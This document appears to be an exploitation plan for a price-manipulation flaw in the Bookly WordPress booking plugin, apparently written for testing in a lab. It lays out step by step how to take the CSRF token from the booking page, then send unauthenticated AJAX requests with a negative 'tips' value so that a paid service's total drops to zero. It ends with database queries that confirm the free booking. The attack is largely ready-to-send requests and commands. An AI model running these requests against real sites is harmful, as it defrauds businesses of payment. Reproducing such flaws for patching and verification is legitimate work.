Exploitation Research Plan: CVE-2026-2519 - Bookly Price Manipulation

1. Vulnerability Summary

The Online Scheduling and Appointment Booking System – Bookly plugin (versions <= 27.0) contains a logic flaw where user-supplied input for the tips parameter is trusted without server-side validation. Specifically, the plugin fails to ensure that the tip amount is a non-negative value. An unauthenticated attacker can submit a negative value for the tips parameter during the booking process, which is then added to the total service price, effectively reducing the final amount to zero and allowing free bookings of paid services.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: bookly_render_payment (or bookly_checkout)
• Vulnerable Parameter: tips
• Authentication: Unauthenticated (accessible via wp_ajax_nopriv_ handlers)
• Preconditions:
  1. Bookly plugin must be active.
  2. A service with a non-zero price must be configured.
  3. A page must contain the Bookly booking form shortcode: [bookly-form].

3. Code Flow

1. The booking process is managed by Bookly\Lib\UserBookingData.
2. During the "Payment" step of the booking wizard, the frontend sends an AJAX request to update the user's booking session.
3. The property protected $tips; in lib/UserBookingData.php (line 104) is populated from the request.
4. The $properties array (line 144) includes 'tips', indicating it is a dynamically settable property from user input.
5. In the calculation phase (likely in Bookly\Lib\Cart::getInfo()), the plugin sums the service price and the tips value.
6. Because the code lacks a check like max( 0, $tips ), a negative value (e.g., -50.00) is subtracted from the total.

4. Nonce Acquisition Strategy

Bookly uses a CSRF token (nonce) for all its AJAX operations. This token is typically localized for the frontend.

1. Identify Shortcode: The plugin uses [bookly-form].
2. Create Test Page:
   wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[bookly-form]'
3. Navigate and Extract:
   Navigate to the new page.
   The nonce is stored in a JavaScript object localized by the plugin, usually bookly_ajax or BooklyL10n.
4. Browser Eval:
   Use browser_eval("bookly_options.csrf_token") to retrieve the token.

5. Exploitation Strategy

The goal is to proceed through the booking steps and inject a negative tip that zeroes out the total price.

Step 1: Initialize Session and Progress Steps

Bookly uses a multi-step AJAX process. You must simulate moving through the steps.

• Action 1 (Service Selection): action=bookly_render_time
• Action 2 (Time Selection): action=bookly_render_details
• Action 3 (User Details): action=bookly_render_payment

Step 2: Inject Negative Tip

When calling the step that calculates or renders the payment, or during the final checkout, include the negative tips parameter.

HTTP Request (Example):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=bookly_render_payment&
csrf_token=[NONCE]&
form_id=[FORM_ID]&
tips=-100.00&
...[other session parameters]...

Step 3: Finalize Checkout

If the total price is reduced to zero, the plugin may allow the "Local Payment" (or skip payment) to succeed even for premium services.

HTTP Request (Checkout):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=bookly_checkout&
csrf_token=[NONCE]&
form_id=[FORM_ID]&
tips=-100.00

6. Test Data Setup

1. Staff Member: Create a staff member.
2. Service: Create a service named "Premium Consulting" with a price of 100.00.
3. Page: Create a page with [bookly-form].
4. Settings: Ensure at least one payment method is active (e.g., "Local Payment").

7. Expected Results

• The bookly_render_payment response should return HTML/JSON showing a "Total" of 0.00.
• The bookly_checkout response should indicate success ("success": true) and create an appointment without requiring a valid payment gateway transaction.

8. Verification Steps

1. Check Database: Use wp db query "SELECT * FROM wp_bookly_payments ORDER BY id DESC LIMIT 1;".
2. Verify Total: Confirm the total column in the database for the new payment record is 0.00 despite the service price being 100.00.
3. Check Tip Value: Confirm the tips column contains the negative value (e.g., -100.00).

9. Alternative Approaches

If bookly_render_payment does not allow the manipulation, attempt the injection at the bookly_save_appointment_details action or directly during the bookly_checkout action.

If the form uses a different JS variable, use browser_eval("Object.keys(window).filter(k => k.includes('bookly'))") to find the correct localization object containing the csrf_token.